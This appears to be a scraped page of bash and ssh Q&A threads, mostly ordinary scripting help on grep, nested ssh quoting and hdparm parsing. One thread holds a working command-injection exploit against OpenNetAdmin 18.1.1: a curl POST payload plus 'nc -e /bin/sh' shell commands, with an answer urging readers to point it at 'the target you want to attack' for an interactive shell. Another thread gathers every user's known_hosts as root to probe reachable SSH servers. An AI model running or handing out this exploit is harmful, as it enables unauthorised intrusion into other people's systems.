GREP and ssh command to output variable - linux

I'm trying to collect 1 row from my ssh command to a remote host by using grep to get the row with the ip address that I want. However, my variable "TARGET_NODE_IP" seems to not be matching my grep cmd.. While if I put the IP address manually e.g "192..." in the grep command it will match the row I want, but if I get the hostname -i to the TARGET_NODE_IP variable by ssh the same ip address doesn't match.. anyone have any feedback? Thank You.
if ( ssh -o ServerAliveInterval=30 -o StrictHostKeyChecking=no -q $SOURCE_NODE_FQDN '[ -e $NODETOOL]' ); then
BASE_CMD="ssh -o ServerAliveInterval=30 -o StrictHostKeyChecking=no -q $SOURCE_NODE_FQDN"
TARGET_NODE_IP=$(ssh -o ServerAliveInterval=30 -o StrictHostKeyChecking=no -q $TARGET_NODE_FQDN hostname -i)
TARGET_NODE_STATUS=`$BASE_CMD $NODETOOL status | awk '{print $1,$2}' | tail -n+6 | sed '/^\s*$/d' | grep "$TARGET_NODE_IP"`
echo "$TARGET_NODE_STATUS"
fi
... | grep "$TARGET_NODE_IP"` does not work.. returns blank
... | grep "192.xxx.xxx"` works... returns row i want.
Thank you

Related

Bash Syntax Problems for Exploit

I found an exploit at exploit-db for the OpenNetAdmin 18.1.1
I have to adjust this script so it work for me but I don't get this done.
This is what I have so far:
URL="xxx.xxx.xxx.xxx/ona"
while true;do
echo -n {"nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "}; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
The output is just:
{nc -e /bin/sh xxx.xxx.xxx.xxx 4444 }
I am a bit struggling with the syntax.
What did I do wrong?
This is what you want, if you just need to launch the nc program. The script supposes that the remote machine is a Linux machine, with /bin/bash and nc (netcat) compiled with the -e support
#!/bin/bash
URL="http://.../ona"
cmd="nc -l -p 4444 -e /bin/sh"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
I found a solution that fits:
#!/bin/bash
URL="http://xxx.xxx.xxx.xxx/ona/"
while true;do
echo -n "{/bin/sh -i}"; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltip>
done
Just replace the xxx.xxx.xxx.xxx with the target you want to attack and save the script as shell.sh
Now run the script with ./shell.sh and you get an interactive shell on the target system.
To verify that you can now type in pwd or id and check if you was successful.

Testing active ssh keys on the local network

I am trying currently to achieve a bash script that will validate if SSH keys on a server are still linked to known hosts that are active on the local area network. You can find below the beginning of my bash script to achieve this:
#!/bin/bash
# LAN SSH KEYS DISCOVERY SCRIPT
# TRYING TO FIND THOSE SSH KEYS NOW
cat /etc/passwd | grep /bin/bash > bash_users
cat bash_users | cut -d ":" -f 6 > cutted.bash_users_home_dir
for bash_users in $(cat cutted.bash_users_home_dir)
do
ls -al $bash_users/.ssh/*id_* >> ssh-keys.txt
done
# DISCOVERING THE KNOWN_HOSTS NOW
for known_hosts in $(cat cutted.bash_users_home_dir)
do
cat $bash_users/.ssh/known_hosts | awk '{print $1}' | sort -u >>
hosts_known.txt
sleep 2
done
hosts_known=$(wc -l hosts_known.txt)
echo "We have $hosts_known known hosts that could be still active via SSH
keys"
# TIME TO TEST WHICH SSH servers are still active with the SSH keys
# AND THIS IS WHERE I AM FROZEN...
# Would love to have bash script that could
# ssh -l $users_that_have_/bin/bash -i $ssh_keys $ssh_servers
# Would also be very nice if it could save active
# SSH servers with the valid keys in output.txt in the format
# username:local-IP:/path/to/SSH_key
Please feel very comfortable to edit/modify the bash script above if it can serve better the goals described.
Any help would be very appreciated,
Thanks
The following works cool:
</etc/passwd \
grep /bin/bash |
cut -d: -f6 |
sudo xargs -i -- sh -c '
[ -e "$1" ] && cat "$1"
' -- {}/.ssh/known_hosts |
cut -d' ' -f1 |
tr ',' '\n' |
sed '
/^\[/{
s/\[\(.*\)\]:\(.*\)/\1 \2/;
t;
};
s/$/ 22/;
' |
sort -u |
xargs -l1 -- sh -c '
if echo "~" | nc -q1 -w3 "$1" "$2" | grep -q "^SSH"; then
echo "#### SUCCESS $1 $2";
else
echo "#### ERROR $1 $2";
fi
' --
So:
Start with /etc/passwd
Filter all "bash_users" as you call them
Filter user home directories only cut -d: -f6
For each user home directory sudo xargs -i -- run
Check if the file .ssh/known_hosts inside the user home directory exists
If it does, print it
Filter only hosts names
Multiple hosts signatures may share same key and are separated by a comma. Replace comma for newline
Now a sed script:
If a line starts with a [ that means it has a format of [host]:port and I want to replace it with host port
If the line does not start with a [ I add 22 to the end of the line so it's host 22
Then I sort -u
Now for each line:
I get the ssh version from ssh echo "~" | nc hostname port returns smth like "SSH-2.0-OpenSSH_6.0" + newline + "Protocol mismatch".
So if the line returned by nc hostname port starts with SSH that means there is ssh running on the other side
I added timeout for unresponsive hosts, but I think nc -w timeout option may also be used. Probably also nc -q 1 should be specified.
Now the real fun is, when you add the max-procs option to the last xargs line, you can check all hosts simultaneously. On my host I have 47 unique addresses and xargs -P30 checks them ALL in like 2 seconds.
But really there are some problems. The script needs root to read from all users known_hosts. But worse, the known_hosts may be hashed. It would be better to firstly know the list of hosts on your network, and then generate known_hosts from it. It would look like ssh-keyscan -f list_of_hosts > ~/.ssh/known_hosts or similar. Generaly ssh-keygen -F hostname should be used if a host exists in known_hosts, sadly there is no listing command. known_hosts file format may be found in ssh documentation.

Multiple ssh in a Single command

I need to pipe multiple ssh commands in order to run commands on a remote machine.
The commands are working fine with a single ssh but not after piping ssh.
E.g
ssh abc#remotemachine1.com "a=hello ; echo \$a"
return hello
but
ssh abc#remotemachine1.com ssh abc#remotemachine2.com"a=hello ; echo \$a"
produces no output.
Similarly:
ssh abc#remotemachine1.com "mountedDir=\$(df \tmp | grep -vi filesystem | rev | cut -d ' ' -f 1); mount | grep -w \$mountedDir"
Is working fine producing the following output :
/dev/sda2 on / type xfs (rw,relatime,attr2,inode64,noquota)
but
ssh abc#remotemachine1.com ssh abc#remotemachine2.com "mountedDir=\$(df \tmp | grep -vi filesystem | rev | cut -d ' ' -f 1); mount | grep -w \$mountedDir"
is throwing the following error:
Usage: grep [OPTION]... PATTERN [FILE]...
Try 'grep --help' for more information.
Note: Passwordless ssh is established from my machine to remotemachine1.com and from remotemachine1.com to remotemachine2.com
If for some reason you do not want to modify your ssh_config file, you need to use ssh -t which will cause a real TTY to be allocated on machine 2, like so:
ssh -t abc#remotemachine1.com ssh abc#remotemachine2.com"a=hello ; echo \$a"
Be wary, as using this method implies that all the SSH login authentication procedures will happen at remotemachine1.com, so if you have security concerns, you are better off with #allo 's answer.
ssh abc#remotemachine1.com ssh abc#remotemachine2.com"a=hello ; echo \$a"
Looks wrong. If you want to jump from remotemachine1 to remotemachine2 have a look at the ProxyJump option in the ssh config. You can give it on the command line using the -o option of the ssh binary.
It finally worked after I added multiple escape characters
ssh abc#remotemachine1.com " ssh abc#remotemachine2.com \" a=hello ;echo \\\$a \" "
And
ssh abc#remotemachine1.com " ssh abc#remotemachine2.com \" mountedDir=\\\$(df /var | grep -vi filesystem | rev | cut -d ' ' -f 1); mount | grep -w \\\$mountedDir | grep -vi 'noexec' \" "

remote ssh command not working properly

The following local command on host xyz provides the following correct output
taskset -p `ps -ef | grep ripit | grep -v grep| awk '{print \$2}'`
pid 21352's current affinity mask: 1
When I run the following command and ssh to xyz host I also get correct output
ssh xyz "ps -ef | grep ripit | grep -v grep |awk '{print \$2}'"
21352
However When I add the taskset command and run remotely on host xyz host i get this incorrect output.
ssh xyz "taskset -p `ps -ef | grep ripit | grep -v grep | awk '{print \$2}'`"
sched_getaffinity: No such process
failed to get pid 27599's affinity
bash: line 1: 32127: command not found
I tried many different single and double quote combination and I used escape character all over the place to no avail. Can anyone help?
Thanks
I haven't tested with your exact commands, but
ssh host 'lsof -p $(pgrep program)'
worked for me
For running commands remotely:
#!/bin/bash
SCRIPT='
#Your commands
'
sshpass -p<pass> ssh -o 'StrictHostKeyChecking no' -p <port> user#host "$SCRIPT"
When I add the taskset command and run remotely on host xyz host
ssh xyz "taskset -p `ps -ef | grep ripit | grep -v grep | awk '{print \$2}'`"
Here, the command substitution between `` is executed on the local host and yields a local process ID - no wonder that there is No such process on the remote host. If you escape the backquotes like
ssh xyz "taskset -p \`ps -ef | grep ripit | grep -v grep | awk '{print \$2}'\`"
the command substitution is executed on the remote host and yields the correct process ID.

Bash - Command call ported to variable with another variable inside

I believe this is a simple syntax issue on my part but I have been unable to find another example similar to what i'm trying to do. I have a variable taking in a specific disk location and I need to use that location in an hdparm /grep command to pull out the max LBA
targetDrive=$1 #/dev/sdb
maxLBA=$(hdparm -I /dev/sdb |grep LBA48 |grep -P -o '(?<=:\s)[^\s]*') #this works perfect
maxLBA=$(hdparm -I $1 |grep LBA48 |grep -P -o '(?<=:\s)[^\s]*') #this fails
I have also tried
maxLBA=$(hdparm -I 1 |grep LBA48 |grep -P -o '(?<=:\s)[^\s]*')
maxLBA=$(hdparm -I "$1" |grep LBA48 |grep -P -o '(?<=:\s)[^\s]*')
Thanks for the help
So I think here is the solution to your problem. I did basically the same as you but changed the way I pipe the results into one another.
grep with regular expression to find the line containing LBA48
cut to retrieve the second field when the resulting string is divided by the column ":"
then trim all the leasding spaces from the result
Here is my resulting bash script.
#!/bin/bash
target_drive=$1
max_lba=$(sudo hdparm -I "$target_drive" | grep -P -o ".+LBA48.+:.+(\d+)" | cut -d: -f2 | tr -d ' ')
echo "Drive: $target_drive MAX LBA48: $max_lba"

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